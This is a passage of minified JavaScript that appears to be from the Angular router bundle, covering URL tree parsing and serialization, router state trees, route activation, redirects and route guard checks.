St(t,e,e.segments,n)}function St(t,e,n,i){if(t.segments.length>n.length){const s=t.segments.slice(0,n.length);return!(!It(s,n)||e.hasChildren()||!Et(s,n,i))}if(t.segments.length===n.length){if(!It(t.segments,n)||!Et(t.segments,n,i))return!1;for(const n in e.children)if(!t.children[n]||!Ct(t.children[n],e.children[n],i))return!1;return!0}{const s=n.slice(0,t.segments.length),r=n.slice(t.segments.length);return!!(It(t.segments,s)&&Et(t.segments,s,i)&&t.children[ct])&&St(t.children[ct],e,r,i)}}function Et(t,e,n){return e.every((e,i)=>wt[n](t[i].parameters,e.parameters))}class kt{constructor(t,e,n){this.root=t,this.queryParams=e,this.fragment=n}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=ut(this.queryParams)),this._queryParamMap}toString(){return Pt.serialize(this)}}class Tt{constructor(t,e){this.segments=t,this.children=e,this.parent=null,vt(e,(t,e)=>t.parent=this)}hasChildren(){return this.numberOfChildren>0}get numberOfChildren(){return Object.keys(this.children).length}toString(){return Nt(this)}}class At{constructor(t,e){this.path=t,this.parameters=e}get parameterMap(){return this._parameterMap||(this._parameterMap=ut(this.parameters)),this._parameterMap}toString(){return jt(this)}}function It(t,e){return t.length===e.length&&t.every((t,n)=>t.path===e[n].path)}class Ot{}class Rt{parse(t){const e=new qt(t);return new kt(e.parseRootSegment(),e.parseQueryParams(),e.parseFragment())}serialize(t){var e;return`${`/${Dt(t.root,!0)}`}${function(t){const e=Object.keys(t).map(e=>{const n=t[e];return Array.isArray(n)?n.map(t=>`${Mt(e)}=${Mt(t)}`).join("&"):`${Mt(e)}=${Mt(n)}`}).filter(t=>!!t);return e.length?`?${e.join("&")}`:""}(t.queryParams)}${"string"==typeof t.fragment?`#${e=t.fragment,encodeURI(e)}`:""}`}}const Pt=new Rt;function Nt(t){return t.segments.map(t=>jt(t)).join("/")}function Dt(t,e){if(!t.hasChildren())return Nt(t);if(e){const e=t.children[ct]?Dt(t.children[ct],!1):"",n=[];return vt(t.children,(t,e)=>{e!==ct&&n.push(`${e}:${Dt(t,!1)}`)}),n.length>0?`${e}(${n.join("//")})`:e}{const e=function(t,e){let n=[];return vt(t.children,(t,i)=>{i===ct&&(n=n.concat(e(t,i)))}),vt(t.children,(t,i)=>{i!==ct&&(n=n.concat(e(t,i)))}),n}(t,(e,n)=>n===ct?[Dt(t.children[ct],!1)]:[`${n}:${Dt(e,!1)}`]);return 1===Object.keys(t.children).length&&null!=t.children[ct]?`${Nt(t)}/${e[0]}`:`${Nt(t)}/(${e.join("//")})`}}function Lt(t){return encodeURIComponent(t).replace(/%40/g,"@").replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",")}function Mt(t){return Lt(t).replace(/%3B/gi,";")}function Ft(t){return Lt(t).replace(/\(/g,"%28").replace(/\)/g,"%29").replace(/%26/gi,"&")}function Ut(t){return decodeURIComponent(t)}function Bt(t){return Ut(t.replace(/\+/g,"%20"))}function jt(t){return`${Ft(t.path)}${function(t){return Object.keys(t).map(e=>`;${Ft(e)}=${Ft(t[e])}`).join("")}(t.parameters)}`}const Ht=/^[^\/()?;=#]+/;function Vt(t){const e=t.match(Ht);return e?e[0]:""}const Gt=/^[^=?&#]+/,Yt=/^[^?&#]+/;class qt{constructor(t){this.url=t,this.remaining=t}parseRootSegment(){return this.consumeOptional("/"),""===this.remaining||this.peekStartsWith("?")||this.peekStartsWith("#")?new Tt([],{}):new Tt([],this.parseChildren())}parseQueryParams(){const t={};if(this.consumeOptional("?"))do{this.parseQueryParam(t)}while(this.consumeOptional("&"));return t}parseFragment(){return this.consumeOptional("#")?decodeURIComponent(this.remaining):null}parseChildren(){if(""===this.remaining)return{};this.consumeOptional("/");const t=[];for(this.peekStartsWith("(")||t.push(this.parseSegment());this.peekStartsWith("/")&&!this.peekStartsWith("//")&&!this.peekStartsWith("/(");)this.capture("/"),t.push(this.parseSegment());let e={};this.peekStartsWith("/(")&&(this.capture("/"),e=this.parseParens(!0));let n={};return this.peekStartsWith("(")&&(n=this.parseParens(!1)),(t.length>0||Object.keys(e).length>0)&&(n[ct]=new Tt(t,e)),n}parseSegment(){const t=Vt(this.remaining);if(""===t&&this.peekStartsWith(";"))throw new Error(`Empty path url segment cannot have parameters: '${this.remaining}'.`);return this.capture(t),new At(Ut(t),this.parseMatrixParams())}parseMatrixParams(){const t={};for(;this.consumeOptional(";");)this.parseParam(t);return t}parseParam(t){const e=Vt(this.remaining);if(!e)return;this.capture(e);let n="";if(this.consumeOptional("=")){const t=Vt(this.remaining);t&&(n=t,this.capture(n))}t[Ut(e)]=Ut(n)}parseQueryParam(t){const e=function(t){const e=t.match(Gt);return e?e[0]:""}(this.remaining);if(!e)return;this.capture(e);let n="";if(this.consumeOptional("=")){const t=function(t){const e=t.match(Yt);return e?e[0]:""}(this.remaining);t&&(n=t,this.capture(n))}const i=Bt(e),s=Bt(n);if(t.hasOwnProperty(i)){let e=t[i];Array.isArray(e)||(e=[e],t[i]=e),e.push(s)}else t[i]=s}parseParens(t){const e={};for(this.capture("(");!this.consumeOptional(")")&&this.remaining.length>0;){const n=Vt(this.remaining),i=this.remaining[n.length];if("/"!==i&&")"!==i&&";"!==i)throw new Error(`Cannot parse url '${this.url}'`);let s;n.indexOf(":")>-1?(s=n.substr(0,n.indexOf(":")),this.capture(s),this.capture(":")):t&&(s=ct);const r=this.parseChildren();e[s]=1===Object.keys(r).length?r[ct]:new Tt([],r),this.consumeOptional("//")}return e}peekStartsWith(t){return this.remaining.startsWith(t)}consumeOptional(t){return!!this.peekStartsWith(t)&&(this.remaining=this.remaining.substring(t.length),!0)}capture(t){if(!this.consumeOptional(t))throw new Error(`Expected "${t}".`)}}class $t{constructor(t){this._root=t}get root(){return this._root.value}parent(t){const e=this.pathFromRoot(t);return e.length>1?e[e.length-2]:null}children(t){const e=zt(t,this._root);return e?e.children.map(t=>t.value):[]}firstChild(t){const e=zt(t,this._root);return e&&e.children.length>0?e.children[0].value:null}siblings(t){const e=Zt(t,this._root);return e.length<2?[]:e[e.length-2].children.map(t=>t.value).filter(e=>e!==t)}pathFromRoot(t){return Zt(t,this._root).map(t=>t.value)}}function zt(t,e){if(t===e.value)return e;for(const n of e.children){const e=zt(t,n);if(e)return e}return null}function Zt(t,e){if(t===e.value)return[e];for(const n of e.children){const i=Zt(t,n);if(i.length)return i.unshift(e),i}return[]}class Wt{constructor(t,e){this.value=t,this.children=e}toString(){return`TreeNode(${this.value})`}}function Jt(t){const e={};return t&&t.children.forEach(t=>e[t.value.outlet]=t),e}class Qt extends $t{constructor(t,e){super(t),this.snapshot=e,ie(this,t)}toString(){return this.snapshot.toString()}}function Kt(t,e){const n=function(t,e){const n=new ee([],{},{},"",{},ct,e,null,t.root,-1,{});return new ne("",new Wt(n,[]))}(t,e),i=new c.X([new At("",{})]),s=new c.X({}),r=new c.X({}),o=new c.X({}),a=new c.X(""),l=new Xt(i,s,o,a,r,ct,e,n.root);return l.snapshot=n.root,new Qt(new Wt(l,[]),n)}class Xt{constructor(t,e,n,i,s,r,o,a){this.url=t,this.params=e,this.queryParams=n,this.fragment=i,this.data=s,this.outlet=r,this.component=o,this._futureSnapshot=a}get routeConfig(){return this._futureSnapshot.routeConfig}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=this.params.pipe((0,L.U)(t=>ut(t)))),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=this.queryParams.pipe((0,L.U)(t=>ut(t)))),this._queryParamMap}toString(){return this.snapshot?this.snapshot.toString():`Future(${this._futureSnapshot})`}}function te(t,e="emptyOnly"){const n=t.pathFromRoot;let i=0;if("always"!==e)for(i=n.length-1;i>=1;){const t=n[i],e=n[i-1];if(t.routeConfig&&""===t.routeConfig.path)i--;else{if(e.component)break;i--}}return function(t){return t.reduce((t,e)=>({params:Object.assign(Object.assign({},t.params),e.params),data:Object.assign(Object.assign({},t.data),e.data),resolve:Object.assign(Object.assign({},t.resolve),e._resolvedData)}),{params:{},data:{},resolve:{}})}(n.slice(i))}class ee{constructor(t,e,n,i,s,r,o,a,c,l,u){this.url=t,this.params=e,this.queryParams=n,this.fragment=i,this.data=s,this.outlet=r,this.component=o,this.routeConfig=a,this._urlSegment=c,this._lastPathIndex=l,this._resolve=u}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=ut(this.params)),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=ut(this.queryParams)),this._queryParamMap}toString(){return`Route(url:'${this.url.map(t=>t.toString()).join("/")}', path:'${this.routeConfig?this.routeConfig.path:""}')`}}class ne extends $t{constructor(t,e){super(e),this.url=t,ie(this,e)}toString(){return se(this._root)}}function ie(t,e){e.value._routerState=t,e.children.forEach(e=>ie(t,e))}function se(t){const e=t.children.length>0?` { ${t.children.map(se).join(", ")} } `:"";return`${t.value}${e}`}function re(t){if(t.snapshot){const e=t.snapshot,n=t._futureSnapshot;t.snapshot=n,ft(e.queryParams,n.queryParams)||t.queryParams.next(n.queryParams),e.fragment!==n.fragment&&t.fragment.next(n.fragment),ft(e.params,n.params)||t.params.next(n.params),function(t,e){if(t.length!==e.length)return!1;for(let n=0;n<t.length;++n)if(!ft(t[n],e[n]))return!1;return!0}(e.url,n.url)||t.url.next(n.url),ft(e.data,n.data)||t.data.next(n.data)}else t.snapshot=t._futureSnapshot,t.data.next(t._futureSnapshot.data)}function oe(t,e){return ft(t.params,e.params)&&function(t,e){return It(t,e)&&t.every((t,n)=>ft(t.parameters,e[n].parameters))}(t.url,e.url)&&!(!t.parent!=!e.parent)&&(!t.parent||oe(t.parent,e.parent))}function ae(t,e,n){if(n&&t.shouldReuseRoute(e.value,n.value.snapshot)){const i=n.value;i._futureSnapshot=e.value;const s=function(t,e,n){return e.children.map(e=>{for(const i of n.children)if(t.shouldReuseRoute(e.value,i.value.snapshot))return ae(t,e,i);return ae(t,e)})}(t,e,n);return new Wt(i,s)}{if(t.shouldAttach(e.value)){const n=t.retrieve(e.value);if(null!==n){const t=n.route;return ce(e,t),t}}const n=function(t){return new Xt(new c.X(t.url),new c.X(t.params),new c.X(t.queryParams),new c.X(t.fragment),new c.X(t.data),t.outlet,t.component,t)}(e.value),i=e.children.map(e=>ae(t,e));return new Wt(n,i)}}function ce(t,e){if(t.value.routeConfig!==e.value.routeConfig)throw new Error("Cannot reattach ActivatedRouteSnapshot created from a different route");if(t.children.length!==e.children.length)throw new Error("Cannot reattach ActivatedRouteSnapshot with a different number of children");e.value._futureSnapshot=t.value;for(let n=0;n<t.children.length;++n)ce(t.children[n],e.children[n])}function le(t){return"object"==typeof t&&null!=t&&!t.outlets&&!t.segmentPath}function ue(t){return"object"==typeof t&&null!=t&&t.outlets}function he(t,e,n,i,s){let r={};return i&&vt(i,(t,e)=>{r[e]=Array.isArray(t)?t.map(t=>`${t}`):`${t}`}),new kt(n.root===t?e:de(n.root,t,e),r,s)}function de(t,e,n){const i={};return vt(t.children,(t,s)=>{i[s]=t===e?n:de(t,e,n)}),new Tt(t.segments,i)}class pe{constructor(t,e,n){if(this.isAbsolute=t,this.numberOfDoubleDots=e,this.commands=n,t&&n.length>0&&le(n[0]))throw new Error("Root segment cannot have matrix parameters");const i=n.find(ue);if(i&&i!==_t(n))throw new Error("{outlets:{}} has to be the last command")}toRoot(){return this.isAbsolute&&1===this.commands.length&&"/"==this.commands[0]}}class fe{constructor(t,e,n){this.segmentGroup=t,this.processChildren=e,this.index=n}}function me(t,e,n){if(t||(t=new Tt([],{})),0===t.segments.length&&t.hasChildren())return ge(t,e,n);const i=function(t,e,n){let i=0,s=e;const r={match:!1,pathIndex:0,commandIndex:0};for(;s<t.segments.length;){if(i>=n.length)return r;const e=t.segments[s],o=n[i];if(ue(o))break;const a=`${o}`,c=i<n.length-1?n[i+1]:null;if(s>0&&void 0===a)break;if(a&&c&&"object"==typeof c&&void 0===c.outlets){if(!ye(a,c,e))return r;i+=2}else{if(!ye(a,{},e))return r;i++}s++}return{match:!0,pathIndex:s,commandIndex:i}}(t,e,n),s=n.slice(i.commandIndex);if(i.match&&i.pathIndex<t.segments.length){const e=new Tt(t.segments.slice(0,i.pathIndex),{});return e.children[ct]=new Tt(t.segments.slice(i.pathIndex),t.children),ge(e,0,s)}return i.match&&0===s.length?new Tt(t.segments,{}):i.match&&!t.hasChildren()?_e(t,e,n):i.match?ge(t,0,s):_e(t,e,n)}function ge(t,e,n){if(0===n.length)return new Tt(t.segments,{});{const i=function(t){return ue(t[0])?t[0].outlets:{[ct]:t}}(n),s={};return vt(i,(n,i)=>{"string"==typeof n&&(n=[n]),null!==n&&(s[i]=me(t.children[i],e,n))}),vt(t.children,(t,e)=>{void 0===i[e]&&(s[e]=t)}),new Tt(t.segments,s)}}function _e(t,e,n){const i=t.segments.slice(0,e);let s=0;for(;s<n.length;){const r=n[s];if(ue(r)){const t=ve(r.outlets);return new Tt(i,t)}if(0===s&&le(n[0])){i.push(new At(t.segments[e].path,be(n[0]))),s++;continue}const o=ue(r)?r.outlets[ct]:`${r}`,a=s<n.length-1?n[s+1]:null;o&&a&&le(a)?(i.push(new At(o,be(a))),s+=2):(i.push(new At(o,{})),s++)}return new Tt(i,{})}function ve(t){const e={};return vt(t,(t,n)=>{"string"==typeof t&&(t=[t]),null!==t&&(e[n]=_e(new Tt([],{}),0,t))}),e}function be(t){const e={};return vt(t,(t,n)=>e[n]=`${t}`),e}function ye(t,e,n){return t==n.path&&ft(e,n.parameters)}class we{constructor(t,e,n,i){this.routeReuseStrategy=t,this.futureState=e,this.currState=n,this.forwardEvent=i}activate(t){const e=this.futureState._root,n=this.currState?this.currState._root:null;this.deactivateChildRoutes(e,n,t),re(this.futureState.root),this.activateChildRoutes(e,n,t)}deactivateChildRoutes(t,e,n){const i=Jt(e);t.children.forEach(t=>{const e=t.value.outlet;this.deactivateRoutes(t,i[e],n),delete i[e]}),vt(i,(t,e)=>{this.deactivateRouteAndItsChildren(t,n)})}deactivateRoutes(t,e,n){const i=t.value,s=e?e.value:null;if(i===s)if(i.component){const s=n.getContext(i.outlet);s&&this.deactivateChildRoutes(t,e,s.children)}else this.deactivateChildRoutes(t,e,n);else s&&this.deactivateRouteAndItsChildren(e,n)}deactivateRouteAndItsChildren(t,e){this.routeReuseStrategy.shouldDetach(t.value.snapshot)?this.detachAndStoreRouteSubtree(t,e):this.deactivateRouteAndOutlet(t,e)}detachAndStoreRouteSubtree(t,e){const n=e.getContext(t.value.outlet);if(n&&n.outlet){const e=n.outlet.detach(),i=n.children.onOutletDeactivated();this.routeReuseStrategy.store(t.value.snapshot,{componentRef:e,route:t,contexts:i})}}deactivateRouteAndOutlet(t,e){const n=e.getContext(t.value.outlet),i=n&&t.value.component?n.children:e,s=Jt(t);for(const r of Object.keys(s))this.deactivateRouteAndItsChildren(s[r],i);n&&n.outlet&&(n.outlet.deactivate(),n.children.onOutletDeactivated(),n.attachRef=null,n.resolver=null,n.route=null)}activateChildRoutes(t,e,n){const i=Jt(e);t.children.forEach(t=>{this.activateRoutes(t,i[t.value.outlet],n),this.forwardEvent(new ot(t.value.snapshot))}),t.children.length&&this.forwardEvent(new st(t.value.snapshot))}activateRoutes(t,e,n){const i=t.value,s=e?e.value:null;if(re(i),i===s)if(i.component){const s=n.getOrCreateContext(i.outlet);this.activateChildRoutes(t,e,s.children)}else this.activateChildRoutes(t,e,n);else if(i.component){const e=n.getOrCreateContext(i.outlet);if(this.routeReuseStrategy.shouldAttach(i.snapshot)){const t=this.routeReuseStrategy.retrieve(i.snapshot);this.routeReuseStrategy.store(i.snapshot,null),e.children.onOutletReAttached(t.contexts),e.attachRef=t.componentRef,e.route=t.route.value,e.outlet&&e.outlet.attach(t.componentRef,t.route.value),xe(t.route)}else{const n=function(t){for(let e=t.parent;e;e=e.parent){const t=e.routeConfig;if(t&&t._loadedConfig)return t._loadedConfig;if(t&&t.component)return null}return null}(i.snapshot),s=n?n.module.componentFactoryResolver:null;e.attachRef=null,e.route=i,e.resolver=s,e.outlet&&e.outlet.activateWith(i,s),this.activateChildRoutes(t,null,e.children)}}else this.activateChildRoutes(t,null,n)}}function xe(t){re(t.value),t.children.forEach(xe)}class Ce{constructor(t,e){this.routes=t,this.module=e}}function Se(t){return"function"==typeof t}function Ee(t){return t instanceof kt}const ke=Symbol("INITIAL_VALUE");function Te(){return(0,M.w)(t=>(0,l.aj)(t.map(t=>t.pipe((0,N.q)(1),(0,F.O)(ke)))).pipe(_((t,e)=>{let n=!1;return e.reduce((t,i,s)=>t!==ke?t:(i===ke&&(n=!0),n||!1!==i&&s!==e.length-1&&!Ee(i)?t:i),t)},ke),(0,y.h)(t=>t!==ke),(0,L.U)(t=>Ee(t)?t:!0===t),(0,N.q)(1)))}let Ae=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=s.Xpm({type:t,selectors:[["ng-component"]],decls:1,vars:0,template:function(t,e){1&t&&s._UZ(0,"router-outlet")},directives:function(){return[kn]},encapsulation:2}),t})();function Ie(t,e=""){for(let n=0;n<t.length;n++){const i=t[n];Oe(i,Re(e,i))}}function Oe(t,e){t.children&&Ie(t.children,e)}function Re(t,e){return e?t||e.path?t&&!e.path?`${t}/`:!t&&e.path?e.path:`${t}/${e.path}`:"":t}function Pe(t){const e=t.children&&t.children.map(Pe),n=e?Object.assign(Object.assign({},t),{children:e}):Object.assign({},t);return!n.component&&(e||n.loadChildren)&&n.outlet&&n.outlet!==ct&&(n.component=Ae),n}function Ne(t){return t.outlet||ct}function De(t,e){const n=t.filter(t=>Ne(t)===e);return n.push(...t.filter(t=>Ne(t)!==e)),n}const Le={matched:!1,consumedSegments:[],lastChild:0,parameters:{},positionalParamSegments:{}};function Me(t,e,n){var i;if(""===e.path)return"full"===e.pathMatch&&(t.hasChildren()||n.length>0)?Object.assign({},Le):{matched:!0,consumedSegments:[],lastChild:0,parameters:{},positionalParamSegments:{}};const s=(e.matcher||pt)(n,t,e);if(!s)return Object.assign({},Le);const r={};vt(s.posParams,(t,e)=>{r[e]=t.path});const o=s.consumed.length>0?Object.assign(Object.assign({},r),s.consumed[s.consumed.length-1].parameters):r;return{matched:!0,consumedSegments:s.consumed,lastChild:s.consumed.length,parameters:o,positionalParamSegments:null!==(i=s.posParams)&&void 0!==i?i:{}}}function Fe(t,e,n,i,s="corrected"){if(n.length>0&&function(t,e,n){return n.some(n=>Ue(t,e,n)&&Ne(n)!==ct)}(t,n,i)){const s=new Tt(e,function(t,e,n,i){const s={};s[ct]=i,i._sourceSegment=t,i._segmentIndexShift=e.length;for(const r of n)if(""===r.path&&Ne(r)!==ct){const n=new Tt([],{});n._sourceSegment=t,n._segmentIndexShift=e.length,s[Ne(r)]=n}return s}(t,e,i,new Tt(n,t.children)));return s._sourceSegment=t,s._segmentIndexShift=e.length,{segmentGroup:s,slicedSegments:[]}}if(0===n.length&&function(t,e,n){return n.some(n=>Ue(t,e,n))}(t,n,i)){const r=new Tt(t.segments,function(t,e,n,i,s,r){const o={};for(const a of i)if(Ue(t,n,a)&&!s[Ne(a)]){const n=new Tt([],{});n._sourceSegment=t,n._segmentIndexShift="legacy"===r?t.segments.length:e.length,o[Ne(a)]=n}return Object.assign(Object.assign({},s),o)}(t,e,n,i,t.children,s));return r._sourceSegment=t,r._segmentIndexShift=e.length,{segmentGroup:r,slicedSegments:n}}const r=new Tt(t.segments,t.children);return r._sourceSegment=t,r._segmentIndexShift=e.length,{segmentGroup:r,slicedSegments:n}}function Ue(t,e,n){return(!(t.hasChildren()||e.length>0)||"full"!==n.pathMatch)&&""===n.path}function Be(t,e,n,i){return!!(Ne(t)===i||i!==ct&&Ue(e,n,t))&&("**"===t.path||Me(e,t,n).matched)}function je(t,e,n){return 0===e.length&&!t.children[n]}class He{constructor(t){this.segmentGroup=t||null}}class Ve{constructor(t){this.urlTree=t}}function Ge(t){return new u.y(e=>e.error(new He(t)))}function Ye(t){return new u.y(e=>e.error(new Ve(t)))}function qe(t){return new u.y(e=>e.error(new Error(`Only absolute redirects can have named outlets. redirectTo: '${t}'`)))}class $e{constructor(t,e,n,i,r){this.configLoader=e,this.urlSerializer=n,this.urlTree=i,this.config=r,this.allowRedirects=!0,this.ngModule=t.get(s.h0i)}apply(){const t=Fe(this.urlTree.root,[],[],this.config).segmentGroup,e=new Tt(t.segments,t.children);return this.expandSegmentGroup(this.ngModule,this.config,e,ct).pipe((0,L.U)(t=>this.createUrlTree(ze(t),this.urlTree.queryParams,this.urlTree.fragment))).pipe((0,U.K)(t=>{if(t instanceof Ve)return this.allowRedirects=!1,this.match(t.urlTree);throw t instanceof He?this.noMatchError(t):t}))}match(t){return this.expandSegmentGroup(this.ngModule,this.config,t.root,ct).pipe((0,L.U)(e=>this.createUrlTree(ze(e),t.queryParams,t.fragment))).pipe((0,U.K)(t=>{throw t instanceof He?this.noMatchError(t):t}))}noMatchError(t){return new Error(`Cannot match any routes. URL Segment: '${t.segmentGroup}'`)}createUrlTree(t,e,n){const i=t.segments.length>0?new Tt([],{[ct]:t}):t;return new kt(i,e,n)}expandSegmentGroup(t,e,n,i){return 0===n.segments.length&&n.hasChildren()?this.expandChildren(t,e,n).pipe((0,L.U)(t=>new Tt([],t))):this.expandSegment(t,n,e,n.segments,i,!0)}expandChildren(t,e,n){const i=[];for(const s of Object.keys(n.children))"primary"===s?i.unshift(s):i.push(s);return(0,o.D)(i).pipe((0,B.b)(i=>{const s=n.children[i],r=De(e,i);return this.expandSegmentGroup(t,r,s,i).pipe((0,L.U)(t=>({segment:t,outlet:i})))}),_((t,e)=>(t[e.outlet]=e.segment,t),{}),function(t,e){const n=arguments.length>=2;return i=>i.pipe(t?(0,y.h)((e,n)=>t(e,n,i)):P.y,x(1),n?I(e):E(()=>new r))}())}expandSegment(t,e,n,i,s,c){return(0,o.D)(n).pipe((0,B.b)(r=>this.expandSegmentAgainstRoute(t,e,n,r,i,s,c).pipe((0,U.K)(t=>{if(t instanceof He)return(0,a.of)(null);throw t}))),D(t=>!!t),(0,U.K)((t,n)=>{if(t instanceof r||"EmptyError"===t.name){if(je(e,i,s))return(0,a.of)(new Tt([],{}));throw new He(e)}throw t}))}expandSegmentAgainstRoute(t,e,n,i,s,r,o){return Be(i,e,s,r)?void 0===i.redirectTo?this.matchSegmentAgainstRoute(t,e,i,s,r):o&&this.allowRedirects?this.expandSegmentAgainstRouteUsingRedirect(t,e,n,i,s,r):Ge(e):Ge(e)}expandSegmentAgainstRouteUsingRedirect(t,e,n,i,s,r){return"**"===i.path?this.expandWildCardWithParamsAgainstRouteUsingRedirect(t,n,i,r):this.expandRegularSegmentAgainstRouteUsingRedirect(t,e,n,i,s,r)}expandWildCardWithParamsAgainstRouteUsingRedirect(t,e,n,i){const s=this.applyRedirectCommands([],n.redirectTo,{});return n.redirectTo.startsWith("/")?Ye(s):this.lineralizeSegments(n,s).pipe((0,j.zg)(n=>{const s=new Tt(n,{});return this.expandSegment(t,s,e,n,i,!1)}))}expandRegularSegmentAgainstRouteUsingRedirect(t,e,n,i,s,r){const{matched:o,consumedSegments:a,lastChild:c,positionalParamSegments:l}=Me(e,i,s);if(!o)return Ge(e);const u=this.applyRedirectCommands(a,i.redirectTo,l);return i.redirectTo.startsWith("/")?Ye(u):this.lineralizeSegments(i,u).pipe((0,j.zg)(i=>this.expandSegment(t,e,n,i.concat(s.slice(c)),r,!1)))}matchSegmentAgainstRoute(t,e,n,i,s){if("**"===n.path)return n.loadChildren?(n._loadedConfig?(0,a.of)(n._loadedConfig):this.configLoader.load(t.injector,n)).pipe((0,L.U)(t=>(n._loadedConfig=t,new Tt(i,{})))):(0,a.of)(new Tt(i,{}));const{matched:r,consumedSegments:o,lastChild:c}=Me(e,n,i);if(!r)return Ge(e);const l=i.slice(c);return this.getChildConfig(t,n,i).pipe((0,j.zg)(t=>{const i=t.module,r=t.routes,{segmentGroup:c,slicedSegments:u}=Fe(e,o,l,r),h=new Tt(c.segments,c.children);if(0===u.length&&h.hasChildren())return this.expandChildren(i,r,h).pipe((0,L.U)(t=>new Tt(o,t)));if(0===r.length&&0===u.length)return(0,a.of)(new Tt(o,{}));const d=Ne(n)===s;return this.expandSegment(i,h,r,u,d?ct:s,!0).pipe((0,L.U)(t=>new Tt(o.concat(t.segments),t.children)))}))}getChildConfig(t,e,n){return e.children?(0,a.of)(new Ce(e.children,t)):e.loadChildren?void 0!==e._loadedConfig?(0,a.of)(e._loadedConfig):this.runCanLoadGuards(t.injector,e,n).pipe((0,j.zg)(n=>{return n?this.configLoader.load(t.injector,e).pipe((0,L.U)(t=>(e._loadedConfig=t,t))):(i=e,new u.y(t=>t.error(dt(`Cannot load children because the guard of the route "path: '${i.path}'" returned false`))));var i})):(0,a.of)(new Ce([],t))}runCanLoadGuards(t,e,n){const i=e.canLoad;if(!i||0===i.length)return(0,a.of)(!0);const s=i.map(i=>{const s=t.get(i);let r;if((o=s)&&Se(o.canLoad))r=s.canLoad(e,n);else{if(!Se(s))throw new Error("Invalid CanLoad guard");r=s(e,n)}var o;return bt(r)});return(0,a.of)(s).pipe(Te(),(0,H.b)(t=>{if(!Ee(t))return;const e=dt(`Redirecting to "${this.urlSerializer.serialize(t)}"`);throw e.url=t,e}),(0,L.U)(t=>!0===t))}lineralizeSegments(t,e){let n=[],i=e.root;for(;;){if(n=n.concat(i.segments),0===i.numberOfChildren)return(0,a.of)(n);if(i.numberOfChildren>1||!i.children[ct])return qe(t.redirectTo);i=i.children[ct]}}applyRedirectCommands(t,e,n){return this.applyRedirectCreatreUrlTree(e,this.urlSerializer.parse(e),t,n)}applyRedirectCreatreUrlTree(t,e,n,i){const s=this.createSegmentGroup(t,e.root,n,i);return new kt(s,this.createQueryParams(e.queryParams,this.urlTree.queryParams),e.fragment)}createQueryParams(t,e){const n={};return vt(t,(t,i)=>{if("string"==typeof t&&t.startsWith(":")){const s=t.substring(1);n[i]=e[s]}else n[i]=t}),n}createSegmentGroup(t,e,n,i){const s=this.createSegments(t,e.segments,n,i);let r={};return vt(e.children,(e,s)=>{r[s]=this.createSegmentGroup(t,e,n,i)}),new Tt(s,r)}createSegments(t,e,n,i){return e.map(e=>e.path.startsWith(":")?this.findPosParam(t,e,i):this.findOrReturn(e,n))}findPosParam(t,e,n){const i=n[e.path.substring(1)];if(!i)throw new Error(`Cannot redirect to '${t}'. Cannot find '${e.path}'.`);return i}findOrReturn(t,e){let n=0;for(const i of e){if(i.path===t.path)return e.splice(n),i;n++}return t}}function ze(t){const e={};for(const n of Object.keys(t.children)){const i=ze(t.children[n]);(i.segments.length>0||i.hasChildren())&&(e[n]=i)}return function(t){if(1===t.numberOfChildren&&t.children[ct]){const e=t.children[ct];return new Tt(t.segments.concat(e.segments),e.children)}return t}(new Tt(t.segments,e))}class Ze{constructor(t){this.path=t,this.route=this.path[this.path.length-1]}}class We{constructor(t,e){this.component=t,this.route=e}}function Je(t,e,n){const i=t._root;return Ke(i,e?e._root:null,n,[i.value])}function Qe(t,e,n){const i=function(t){if(!t)return null;for(let e=t.parent;e;e=e.parent){const t=e.routeConfig;if(t&&t._loadedConfig)return t._loadedConfig}return null}(e);return(i?i.module.injector:n).get(t)}function Ke(t,e,n,i,s={canDeactivateChecks:[],canActivateChecks:[]}){const r=Jt(e);return t.children.forEach(t=>{(function(t,e,n,i,s={canDeactivateChecks:[],canActivateChecks:[]}){const r=t.value,o=e?e.value:null,a=n?n.getContext(t.value.outlet):null;if(o&&r.routeConfig===o.routeConfig){const c=function(t,e,n){if("function"==typeof n)return n(t,e);switch(n){case"pathParamsChange":return!It(t.url,e.url);case"pathParamsOrQueryParamsChange":return!It(t.url,e.url)||!ft(t.queryParams,e.queryParams);case"always":return!0;case"paramsOrQueryParamsChange":return!oe(t,e)||!ft(t.queryParams,e.queryParams);case"paramsChange":default:return!oe(t,e)}}(o,r,r.routeConfig.runGuardsAndResolvers);c?s.canActivateChecks.push(new Ze(i)):(r.data=o.data,r._resolvedData=o._resolvedData),Ke(t,e,r.component?a?a.children:null:n,i,s),c&&a&&a.outlet&&a.outlet.isActivated&&s.canDeactivateChecks.push(new We(a.outlet.component,o))}else o&&Xe(e,a,s),s.canActivateChecks.push(new Ze(i)),Ke(t,null,r.component?a?a.children:null:n,i,s)})(t,r[t.value.outlet],n,i.concat([t.value]),s),delete r[t.value.outlet]}),vt(r,(t,e)=>Xe(t,n.getContext(e),s)),s}function Xe(t,e,n){const i=Jt(t),s=t.value;vt(i,(t,i)=>{Xe(t,s.component?e?e.children.getContext(i):null:e,n)}),n.canDeactivateChecks.push(new We(s.component&&e&&e.outlet&&e.outlet.isActivated?e.outlet.component:null,s))}class tn{}function en(t){return new u.y(e=>e.error(t))}class nn{constructor(t,e,n,i,s,r){this.rootComponentType=t,this.config=e,this.urlTree=n,this.url=i,this.paramsInheritanceStrategy=s,this.relativeLinkResolution=r}recognize(){const t=Fe(this.urlTree.root,[],[],this.config.filter(t=>void 0===t.redirectTo),this.relativeLinkResolution).segmentGroup,e=this.processSegmentGroup(this.config,t,ct);if(null===e)return null;const n=new ee([],Object.freeze({}),Object.freeze(Object.assign({},this.urlTree.queryParams)),this.urlTree.fragment,{},ct,this.rootComponentType,null,this.urlTree.root,-1,{}),i=new Wt(n,e),s=new ne(this.url,i);return this.inheritParamsAndData(s._root),s}inheritParamsAndData(t){const 